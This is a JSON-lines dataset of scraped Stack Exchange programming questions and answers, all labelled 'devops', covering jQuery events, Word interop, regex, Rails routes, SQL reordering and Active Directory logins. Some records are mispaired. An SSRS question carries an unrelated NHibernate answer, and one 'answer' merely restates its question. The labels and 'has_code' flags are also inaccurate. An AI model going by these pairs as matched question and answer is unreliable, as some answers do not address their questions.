{"id": "hf_02a71d3f5a40", "question": "<p>Lets say I have a web app which has a page that may contain 4 script blocks - the script I write may be found in one of those blocks, but I do not know which one, that is handled by the controller. </p>\n\n<p>I bind some <code>onclick</code> events to a button, but I find that they sometimes execute in an order I did not expect. </p>\n\n<p>Is there a way to ensure order, or how have you handled this problem in the past?</p>\n", "question_body": "", "answer": "If order is important you can create your own events and bind callbacks to fire when those events are triggered by other callbacks.\n```\n```\n$('#mydiv').click(function(e) {\n    // maniplate #mydiv ...\n    $('#mydiv').trigger('mydiv-manipulated');\n});\n\n$('#mydiv').bind('mydiv-manipulated', function(e) {\n    // do more stuff now that #mydiv has been manipulated\n    return;\n});\n```\n```\nSomething like that at least.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.150861"}
{"id": "hf_3b25ecd13846", "question": "<p>I have a module that sends an email to a specified email address but I want to default the email recipient to the portal administrator.  How can I retrieve this information?</p>\n", "question_body": "", "answer": "```\n```\n' get the current portal\nDim portSettings As PortalSettings = PortalController.GetCurrentPortalSettings\n\n' get email address\nDim email as string = portSettings.Email\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.178570"}
{"id": "hf_27ecbf9f65d5", "question": "<p>I need to determine which pages of a Word document that a keyword occurs on.  I have some tools that can get me the text of the document, but nothing that tells me which pages the text occurs on.  Does anyone have a good starting place for me?  I'm using .NET</p>\n\n<p>Thanks!</p>\n\n<p>edit: Additional constraint: I can't use any of the Interop stuff.</p>\n\n<p>edit2: If anybody knows of stable libraries that can do this, that'd also be helpful.  I use Aspose, but as far as I know that doesn't have anything.</p>\n", "question_body": "", "answer": "This is how I get the text out,  I believe you can set set the selection range to a page, then you could test that text, might be a little backwards from what you need but could be a place to start.\n```\n```\nMicrosoft.Office.Interop.Word.Application wordApplication = new Microsoft.Office.Interop.Word.Application();\nobject missing = Type.Missing;\nobject fileName = @\"c:\\file.doc\";\nobject objFalse = false;\n\nwordApplication.DisplayAlerts = Microsoft.Office.Interop.Word.WdAlertLevel.wdAlertsNone;\nMicrosoft.Office.Interop.Word.Document doc = wordApplication.Documents.Open(ref fileName, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing,ref objFalse, ref missing, ref missing, ref missing, ref missing);\n\n//I belevie you can define a SelectionRange and insert here\ndoc.ActiveWindow.Selection.WholeStory();\ndoc.ActiveWindow.Selection.Copy();\n\nIDataObject data = Clipboard.GetDataObject();\nstring text = data.GetData(DataFormats.Text).ToString();\n\ndoc.Close(ref missing, ref missing, ref missing);\ndoc = null;\n\nwordApplication.Quit(ref missing, ref missing, ref missing);\nwordApplication = null;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.203296"}
{"id": "hf_6a52dd38f7fc", "question": "<p>I have SSRS Report being accessed from a Report Server. Is there any way I can give an error message of my own, if my report fails to open there? </p>\n", "question_body": "", "answer": "You need to assign a Country instance to the Country property of the Person instance (not just set the ID).  Something like:\n```\n```\nPerson p = new Person();\np.Country = session.Load<Country>(countryId);\nsession.Save(p);\n```\n```\nThen NHibernate will know what to do.  This will also not cause a DB hit to retrieve country, since the Load method will return a Country proxy and the only thing you're accessing is the Country instance's ID.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.273559"}
{"id": "hf_568c135571ff", "question": "<p>I have a web server on port 80 and port 81. IE can connect to the server on either port. This worked fine until I installed an application with a file type (.TPJ) that had a MIME type of text/xml on the client PC. At that point IE no longer opened the web site, but offered to download a file <em>serverName.TPJ</em>. The file contained the correct information from the web site.</p>\n\n<p>I changed the installer for the application so it didn't register the MIME type. Now IE on the client PC offers to download a file with unknown file type. Note that the application has never been installed on the server PC.</p>\n\n<p>The problem occurs with IE7. It doesn't occur with Firefox, Safari, or Chrome.</p>\n\n<p>Does anyone know how to work around this?</p>\n", "question_body": "", "answer": "I found the answer. There is a left-over entry in the registry for the text/xml MIME type. It can be restored to the default value by re-registering the MSXML3.DLL.\n```\n```\nregsvr32 msxml3.dll\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.332295"}
{"id": "hf_1aeaafc7bb00", "question": "<p>I'm trying to hide the \"Title\" field in a list.\nThis doesn't seem to work:</p>\n\n<pre><code>SPList myList;\n...\nSPField titleField = myList.Fields.GetField(\"Title\");\n//titleField.PushChangesToLists = true; &lt;-- doesn't seem to make a difference\ntitleField.ShowInEditForm = false;\ntitleField.ShowInDisplayForm = false;\ntitleField.ShowInNewForm = false;\ntitleField.Update();\n//myList.Update(); &lt;-- make no difference\n</code></pre>\n\n<p>What am I doing wrong?</p>\n", "question_body": "", "answer": "Make sure you are grabbing a\nnew\nSPWeb instance.\n```\n```\nusing (SPSite site = new SPSite(webUrl))\n{\n    using (SPWeb web = site.OpenWeb())\n    {\n        try\n        {\n            //... Get SPList ...\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.356912"}
{"id": "hf_2bc7791a1918", "question": "<p>How can I go through all external links in a div with javascript, adding (or appending) a class and alt-text?</p>\n\n<p>I guess I need to fetch all objects inside the div element, then check if each object is a , and check if the href attributen starts with http(s):// (should then be an external link), then add content to the alt and class attribute (if they don't exist create them, if they do exists; append the wanted values).</p>\n\n<p>But, how do I do this in code?</p>\n", "question_body": "", "answer": "This can be accomplished pretty easily with\nJquery\n. You would add this to the onload:\n```\n```\n$(\"div a[href^='http']\").each(function() {\n  $(this).attr(\"alt\",altText);\n  var oldClassAttributeValue = $(this).attr(\"class\");\n  if(!oldClassAttributeValue) {\n   $(this).attr(\"class\",newClassAttributeValue);\n  }\n});\n```\n```\nYou could modify this to add text. Class can also be modified using the\ncss\nfunction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.445708"}
{"id": "hf_7422c0b7ac44", "question": "<p>I would want to do something like:</p>\n\n<pre><code>&gt;&gt;&gt; lst = [1, 2, 3, 4, 5]\n&gt;&gt;&gt; lst.find(lambda x: x % 2 == 0)\n2\n&gt;&gt;&gt; lst.findall(lambda x: x % 2 == 0)\n[2, 4]\n</code></pre>\n\n<p>Is there anything nearing such behavior in Python's standard libraries?</p>\n\n<p>I know it's very easy to roll-your-own here, but I'm looking for a more standard way.</p>\n", "question_body": "", "answer": "You can use the filter method:\n```\n```\n>>> lst = [1, 2, 3, 4, 5]\n>>> filter(lambda x: x % 2 == 0, lst)\n[2, 4]\n```\n```\nor a list comprehension:\n```\n```\n>>> lst = [1, 2, 3, 4, 5]\n>>> [x for x in lst if x %2 == 0]\n[2, 4]\n```\n```\nto find a single element, you could try:\n```\n```\n>>> next(x for x in lst if x % 2 == 0)\n2\n```\n```\nThough that would throw an exception if nothing matches, so you'd probably want to wrap it in a try/catch.  The () brackets make this a generator expression rather than a list comprehension.\nPersonally though I'd just use the regular filter/comprehension and take the first element (if there is one).\nThese raise an exception if nothing is found\n```\n```\nfilter(lambda x: x % 2 == 0, lst)[0]\n[x for x in lst if x %2 == 0][0]\n```\n```\nThese return empty lists\n```\n```\nfilter(lambda x: x % 2 == 0, lst)[:1]\n[x for x in lst if x %2 == 0][:1]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.543677"}
{"id": "hf_bd0931478ebd", "question": "<p>Presently I have a some legacy code, which generates the op code. If the code has more number of macros then the code generation takes so much of time (In terms of hours!!).\nI have gone through the logic, they are handling the macro by searching for it and doing a replace of each variable in it some thing like inlining.<br>\nIs there a way that I can optimize it without manipulating the string?</p>\n", "question_body": "", "answer": "I have an application which has its own grammer. It supports all types of datatypes that a typical compiler supports (Even macros). More precisely it is a type of compiler which generates the opcodes by taking a program (which is written using that grammer) as input. \nFor handling the macros, it uses the text replacement logic\nFor Example:\nMacro Add (a:int, b:int)\n```\n```\nint c = a + b\n```\n```\nEnd Macro\n// Program Sum\n..\nint x = 10, y = 10;\nAdd(x, y);\n..\n// End of the program\nAfter replacement it will be\n// Program Sum\n..\nint x = 10, y = 10;\nint c = x + y\n..\n// End of program\nThis text replacement is taking so much of time i.e., replacing the macro call with macro logic.\nIs there a optimal way to do it?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.568127"}
{"id": "hf_280e7379ea7b", "question": "<p>Hello I was writing a Regular Expression (first time in my life I might add) but I just can't figure out how to do what I want. So far, so good since I already allow only Letters and spaces (as long as it's not the first character) now what I'm missing is that I don't want to allow any numbers in between the characters...could anybody help me please?</p>\n\n<pre><code>/^[^\\s][\\sa-zA-Z]+[^\\d\\W]/\n</code></pre>\n", "question_body": "", "answer": "If you only want to allow letters and spaces, then what you have is almost correct:\n```\n```\n/^[a-zA-Z][\\sa-zA-Z]*$/\n```\n```\nThe\n```\n$\n```\nat the end signifies the end of the string.\nEdited to correct answer, thanks to @Alnitak", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.595837"}
{"id": "hf_8e30c32c774e", "question": "<p>I am new to RESTful stuff.  But, I want to use it in my rails app.  When I add this to my routes.rb <code>map.resources :notes</code> I get routes to these methods created:</p>\n\n<ul>\n<li>index</li>\n<li>create</li>\n<li>new</li>\n<li>edit</li>\n<li>show</li>\n<li>update</li>\n<li>destroy</li>\n</ul>\n\n<p>What I am wondering is what is the difference between edit/update and create/new?  Is there any standard definitions of how these method pairs vary and what each one does?</p>\n", "question_body": "", "answer": "When you use the scaffold generator in Rails 2\n```\ncreate\n```\nis the action called when the form from the\n```\nnew\n```\naction is submitted.  Likewise,\n```\nupdate\n```\nis the action called when the form from the\n```\nedit\n```\naction is submitted.\nAs far as I know, you can blow that away and define them to do whatever you want depending on what\n```\ncreate/new/edit/update\n```\nmeans to your application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.619829"}
{"id": "hf_9fee917fa8d0", "question": "<p>Does anyone know of a way to paste over a visually selected area without having the selection placed in the default register?</p>\n\n<p>I know I can solve the problem by always pasting from an explicit register. But it's a pain in the neck to type <kbd>\"</kbd><kbd>x</kbd><kbd>p</kbd> instead of just <kbd>p</kbd></p>\n", "question_body": "", "answer": "try -\n```\n```\n:set guioptions-=a\n:set guioptions-=A\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.680109"}
{"id": "hf_12290dc3a7d5", "question": "<p>We have a major VB6 trading application which uses MS Access (Don't ask!) It is always blasting trades into an MS Access database.</p>\n\n<p>The rest of the infrastructure here has moved on considerably and I want to read this Access database periodically and copy any new trades into a SQL server database.</p>\n\n<p>The SQL and C# needed to do this is trivially easy.</p>\n\n<p>BUT I want to make sure I do it in such a way that does not lock the Access database or cause problems for the VB6 app. In other words when populating my DataTable from Access I do NOT want to lock the database and prevent the VB6 app writing to it. I seem to remember from old ADO there were share modes you could use for this purpose.</p>\n\n<p>What sort of connection string should I use from .NET to accomplish this?</p>\n", "question_body": "", "answer": "Just an idea ... but have you thought about upgrading the database so that the tables themselves are actually stored in SQL Server and Access just become the front end?  It's been a little while, but if I remember correctly, Access should have a wizard (yuck!) to help you do this.\nWith old ADO you could set the cursor or lock type mechanism to one of the following:\nCursor Type\nadOpenForwardOnly\nThis type of cursor can only be used to move forward through the recordset. This option is used when a list box or combo box is to be  populated.\nadOpenKeyset\nThis is the best type of cursor to use when we expect a large recordset because we are not informed when changes are made to data that can affect our recordset.\nadOpenDynamic\nThis cursor allows us to see all the changes made by other users that affect our recordset. It is the most powerful type of cursor but the slowest one.\nadOpenStatic\nThe static cursor is useful when we have a small recordset.\nLock Type\nadLockReadonly\nThis lock mode is used when no additions, updates or deletions are allowed from recordset\nadLockPesimistic\nIn pessimistic locking, the record is locked as soon as editing begins and remains  locked until editing is completed.\nadLockOptimistic\nThis occurs when the update method is called on the record. the record is unlocked even while edit but is temporarily locked when the changes are saved to the database\nadLockBatchOptimistic\nThis option allows us to perform optimistic locking when we are updating a batch of records\nNot sure how that exactly translates into the .NET world ... but maybe this can get you pointed in the right direction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.704646"}
{"id": "hf_88adcc0d8912", "question": "<p>I have a PHP script that processes file uploads. The script tries to organise the files that are uploaded and may create new folders to move the files into if needed. These files will be below the www root directory (ie, a web browser will be able to access them).</p>\n\n<p>My question is, what permissions should I set for the folders that get created and for the files that are moved into them (using <code>mkdir()</code> and <code>move_uploaded_file()</code>)?</p>\n", "question_body": "", "answer": "Your webserver needs read and write permission in those folders, execute permission should be revoked (assuming UNIX-like systems). If not, a user could upload a script and have it executed by sending a HTTP request for it.\nBut IMO the whole concept is a potential security hole. Better store the files in a folder\noutside\nthe webserver root, so that no direct acceess is possible. In your web application, you can have a PHP download page that scans the upload directory and displays a list of download links. These download links lead to another script, that reads the fiels from you storage dir und sends them to the user.\nYes, this is more work. But the scenario is very common, so you should be able to find some source code with example implementations easily. And it it much less work that having your server hacked...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.729162"}
{"id": "hf_f6476185e572", "question": "<p>Let's say you got a file containing texts (from 1 to N) separated by a $ \nHow can a slit the file so the end result is N files? </p>\n\n<blockquote>\n  <p>text1 with newlines $<br>\n  text2 $etc... $<br>\n  textN</p>\n</blockquote>\n\n<p>I'm thinking something with awk or sed but is there any available unix app that already perform that kind of task?</p>\n", "question_body": "", "answer": "Maybe\n```\nsplit -p\n```\npattern\n?\nHmm.  That may not be exactly what you want. It doesn't split a line, it only starts a new file when it sees the pattern.  And it seems to be supported only on BSD-related systems.\nYou could use something like:\n```\n```\nawk 'BEGIN {RS = \"$\"} { ... }'\n```\n```\nedit:\nYou might find some inspiration for the\n```\n{ ... }\n```\npart here:\nhttp://www.gnu.org/manual/gawk/html_node/Split-Program.html\nedit:\nThanks to comment from dmckee, but\n```\ncsplit\n```\nalso seems to copy the whole line on which the pattern occurs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.776783"}
{"id": "hf_3fbf46b8c435", "question": "<p>I need an regular expression pattern to only accept positive whole numbers.  It can also accept a single zero.</p>\n\n<p>I do not want to accept decimals, negative number and numbers with leading zeros.</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "```\n```\n/([1-9][0-9]*)|0/\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.800633"}
{"id": "hf_e781a0c94fbe", "question": "<p>It's a tricky question I was asked the other day... We're working on a pretty complex telephony (SIP) application with mixed C++ and PHP code with MySQL databases and several open source components.</p>\n\n<p>A telecom engineer asked us to estimate the performance of the application (which is not ready yet). He went like 'well, you know how many packets can pass through the Linux kernel per second, plus you might know how quick your app is, so tell me how many calls will pass through your stuff per second'. </p>\n\n<p>Seems nonsense to me, as there are a million scenarios that might happen (well, literally...) </p>\n\n<p>However... is there a way to estimate application performance (knowing the hardware it will run on, being able to run standard benchmarks on it, etc) before actual testing?</p>\n", "question_body": "", "answer": "You certainly can bound the problem with upper (max throughput) limits.  There is nothing nonsense about that.  In fact, not knowing that stuff indicates a pretty haphazard approach to a problem - especially in the telephony world.\nYou can work through the problem yourself - what is the minimum \"work\" you have to accomplish for a transaction or whatever unit of task you have in your app?\nSome messages to and from, some processing and a database hit for example? Getting information on the individual pieces will give you an idea of the fastest possible throughput. If you load up the system and see significantly lower performance then you can take time to figure out where you are possibly losing throughput with inefficient algorithms, etc.\nEDIT\nTo do this exercise you need to know all the steps your app does for each use case. Then you can identify the max throughput for each use case. You should definitely know this stuff prior to release and going live.\nI'm ignoring the worst case analysis as that - as you point out - is quite a bit harder.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.824029"}
{"id": "hf_404e4c729005", "question": "<p>What im wondering how to do is when someone edits a list item and it goes through my event code that is fired when a change is made and save is hit, i dont want anyone to be able to edit that list item itself while its still processnig that request. So i was wondering if while in that event i can disable the individual item from being edited by someone else untill it is done doing what it is doing.</p>\n", "question_body": "", "answer": "Not sure if I understand exactly what you are want.\nTry adding a field, hidden if you like, to the list or content type to use as a flag. When you enter your event code, make sure you check the flag first and if not set, set it and do your stuff. After you have done your stuff, unset the flag.\nHere is some code to illustrate. Note that I have used a column named \"updating\". You can use the properties of the SPListItem as well if you do not care to add a column.\nOh, and don't forget to call DisableEventFiring before you to SPListItem.Update and then EnableEventFiring() afterwards. For get this and you will have a very nasty infinite loop on your hands.\n.b\n```\n```\npublic override void ItemAdding(SPItemEventProperties properties)\n    {\n        if (properties.ListItem[\"updating\"].ToString() == \"updating\")\n        {\n            properties.Cancel = true;\n            properties.ErrorMessage = \"Item is currently updating, please try again later\";\n        }\n        else\n        {\n            properties.ListItem[\"updating\"] = \"updating\";\n            this.DisableEventFiring();\n            properties.ListItem.Update();\n            this.EnableEventFiring();\n\n            // do your stuff\n\n            properties.ListItem[\"updating\"] = \"\";\n            this.DisableEventFiring();\n            properties.ListItem.Update();\n            this.EnableEventFiring();\n        }\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.851097"}
{"id": "hf_11bd7f70ebfa", "question": "<p>Similar to <a href=\"https://stackoverflow.com/questions/288794/does-c-optimize-the-concatenation-of-string-literals\">this</a> question, but for VB.NET since I learned this is a language thing.</p>\n\n<p>For instance, would the compiler know to translate</p>\n\n<blockquote>\n  <p>Dim s As String = \"test \" + \"this \" +\n  \"function\"</p>\n</blockquote>\n\n<p>to</p>\n\n<pre><code>Dim s As String = \"test this function\"\n</code></pre>\n\n<p>and thus avoid the performance hit with the string concatenation?</p>\n", "question_body": "", "answer": "While I'm looking it up,\nhere's the download page for the spec\n.\nSection 11.2 looks like it\nwould\nbe the right bit - it's basically the equivalent of 7.18 in the C# 3.0 spec - but it doesn't contain the same guarantee. I suspect the compiler still does it, but I can't see any guarantee. I'll have another look though.\nSection 11.2 does state that \"A constant expression is an expression\nwhose value can be fully evaluated at compile time\n\" (my emphasis) but I can't see that it actually guarantees that it\nwill\nfully evaluate it at compile time. Frankly it would be odd to make a category of expression based on this condition but not actually use it.\nA quick test shows that the current VB compiler does indeed do the concatenation at compile time, but there really\nshould\nbe a guarantee in the spec if that's the intention.\nSection 7.3 get a bit closer:\nWhen the operands of an expression are\n  all primitive type constants, it is\n  possible for the compiler to evaluate\n  the expression at compile time. Such\n  an expression is known as a constant\n  expression.\nNow String isn't a primitive type in terms of the CLR (\nType.IsPrimitive\nwould return false) but it\nis\nin terms of the VB spec.\nIt's still not saying that it\nwill\nevaluate it though...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.874701"}
{"id": "hf_20502f0620a7", "question": "<p>How can I validate a username and password against Active Directory? I simply want to check if a username and password are correct.</p>\n", "question_body": "", "answer": "Probably easiest way is to PInvoke LogonUser Win32 API.e.g.\nhttp://www.pinvoke.net/default.aspx/advapi32/LogonUser.html\nMSDN Reference here...\nhttp://msdn.microsoft.com/en-us/library/aa378184.aspx\nDefinitely want to use logon type\n```\n```\nLOGON32_LOGON_NETWORK (3)\n```\n```\nThis creates a lightweight token only - perfect for AuthN checks.  (other types can be used to build interactive sessions etc.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.934839"}
{"id": "hf_9be81715dac7", "question": "<p>I want to write a script that will stop a scheduled task on a remote computer, do some stuff, and then start the schedule task back up.</p>\n\n<p>How can I do it?</p>\n", "question_body": "", "answer": "Note:\n\"schtasks\"\n(see the other, accepted response) has replaced\n\"at\"\n.  However, \"at\" may be of use if the situation calls for compatibility with older versions of Windows that don't have schtasks.\nCommand-line help for \"at\":\n```\nC:\\>at /?\nThe AT command schedules commands and programs to run on a computer at\na specified time and date. The Schedule service must be running to use\nthe AT command.\n\nAT [\\\\computername] [ [id] [/DELETE] | /DELETE [/YES]]\nAT [\\\\computername] time [/INTERACTIVE]\n    [ /EVERY:date[,...] | /NEXT:date[,...]] \"command\"\n\n\\\\computername     Specifies a remote computer. Commands are scheduled on the\n                   local computer if this parameter is omitted.\nid                 Is an identification number assigned to a scheduled\n                   command.\n/delete            Cancels a scheduled command. If id is omitted, all the\n                   scheduled commands on the computer are canceled.\n/yes               Used with cancel all jobs command when no further\n                   confirmation is desired.\ntime               Specifies the time when command is to run.\n/interactive       Allows the job to interact with the desktop of the user\n                   who is logged on at the time the job runs.\n/every:date[,...]  Runs the command on each specified day(s) of the week or\n                   month. If date is omitted, the current day of the month\n                   is assumed.\n/next:date[,...]   Runs the specified command on the next occurrence of the\n                   day (for example, next Thursday).  If date is omitted, the\n                   current day of the month is assumed.\n\"command\"          Is the Windows NT command, or batch program to be run.\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.958821"}
{"id": "hf_7c4485867715", "question": "<p>I'm thinking of forming a <a href=\"http://www.catb.org/~esr/jargon/html/H/hacker.html\" rel=\"nofollow noreferrer\">Hacker</a>s Club at work.  My idea is that we would meet monthly and at each meeting one member would present an interesting hack he had created.  (The hacks presented wouldn't necessarily have to be software hacks; they could also be the sort of things you read about in <em>MAKE</em> magazine.) </p>\n\n<p>There would also be <a href=\"http://www.catb.org/~esr/jargon/html/A/ANSI-standard-pizza.html\" rel=\"nofollow noreferrer\">ANSI standard pizza</a>, veggie pizza, and beer and pop available for socializing afterward.  I'm even thinking of calling the club \"<a href=\"http://www.catb.org/~esr/jargon/html/T/TMRC.html\" rel=\"nofollow noreferrer\">TMRC</a>\" even though it will have nothing to do with model railroads.</p>\n\n<p>Has anyone ever tried doing something like this or have any advice?</p>\n", "question_body": "", "answer": "We do this at the office. I call it 'Developer Fight Club'\nUsually do challenges of varying difficulty and compete against one another.\nAt the end of it, we go over our solutions, do code-reviews and discussions, and then use either benchmark results or other people as the deciding factor for who wins.\nTypically, the loser has to buy lunch for the winner :)\nFor ideas of things to do, try stuff from\nTop Coder\n, programming questions on Stack Overflow, or even simple \"\ncrackme\n\" applications available on different programming sites.\nThe main rules you'll need to adhere to are:\nMake It Fun\nMake It Educational Make\nMake It Fair\nTry to rotate the challenges, so either everyone is really good at the subject, equally bad, or at least mix it up often enough that it doesn't favor one person's skillset too much.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:24.982946"}
{"id": "hf_cd87136bbded", "question": "<p>I would like to begin developing for the Blackberry platform and, specifically, the Bold and also the Storm device which is coming out soon.  Do I need to get into Java and J2ME or can I develop sites in ASP.NET and just keep utilizing the skills I already have?  </p>\n\n<p>I am completely new to mobile platform development and have no idea what it will take to target these Blackberry devices.  I am hoping to continue to use my ASP skills.</p>\n", "question_body": "", "answer": "Are you talking about websites (because you say \"develop sites in ASP.NET\") or native Blackberry applications (because you say \"developing for the Blackberry platform\")?\nApplications which run on the Blackberry use J2ME. If your application is accessed from a browser on the Blackberry, then it's the server the web app runs on that determines the language, not that it's being accessed from the Blackberry browser.\nThen there's Blackberry MDS for integration with enterprise apps. I don't know much about this (never used it or seen an application that uses it) but it's described here:\nhttp://na.blackberry.com/eng/services/mobile.jsp\nPaul", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.007074"}
{"id": "hf_44ca01bd91ee", "question": "<p>For both .NET Winforms and Windows Presentation Foundation, if I have a text box that the user has just entered text into, and a button, if the user clicks the button the \"LostFocus\" event fires before the button click event fires.  However if the user uses a keyboard shortcut for the button (e.g. Button's text is \"&amp;Button\" or \"_Button\" and user performs Alt+B), then the \"LostFocus\" event fires after the button click event, which is less useful.</p>\n\n<p>Do you know of reasonable workarounds?  We have various things that we want to occur in LostFocus before ButtonClick.</p>\n", "question_body": "", "answer": "What would happen if you did this first of all in the button handler? (or perhaps subclass the button and override OnClick to apply this logic \"worldwide\").\n```\n```\nButton b = (Button) sender;\nb.Focus();\n```\n```\nWould that get round the issue?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.065243"}
{"id": "hf_e778d6ddf218", "question": "<p>I have a table which has a field <code>sort_id</code>. In this field there are numbers from 1 to n, that define the order of the data sets.\nNow I want to delete some elements and afterwards I want to reorder the table. Therefore I need a query that \"finds\" the gaps and changes the <code>sort_id</code> field according to the modifications.</p>\n\n<p>Sure, I could do something like this:</p>\n\n<pre><code>SELECT sort_id FROM table WHERE id = 5\n</code></pre>\n\n<p>Then save the sort_id and afterwards:</p>\n\n<pre><code>DELETE FROM table WHERE id = 5\nUPDATE table SET sort_id = sort_id - 1 WHERE sort_id &gt; {id from above}\n</code></pre>\n\n<p>But I'd like to do the reordering process in one step.</p>\n", "question_body": "", "answer": "for sql server 2005:\nthis is how you get the new sequence:\n```\n```\nSELECT row_number() over(order by sort_id) as RN\nFROM table\n```\n```\nupdating the table means you should join that select to your update:\n```\n```\nupdate t1\nset sort_id = t2.RN\nFROM table t1 \n     join (SELECT row_number() over(order by sort_id) as RN FROM table) t2 \n        on t1.UniqueId = t2.UniqueId\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:25.135695"}
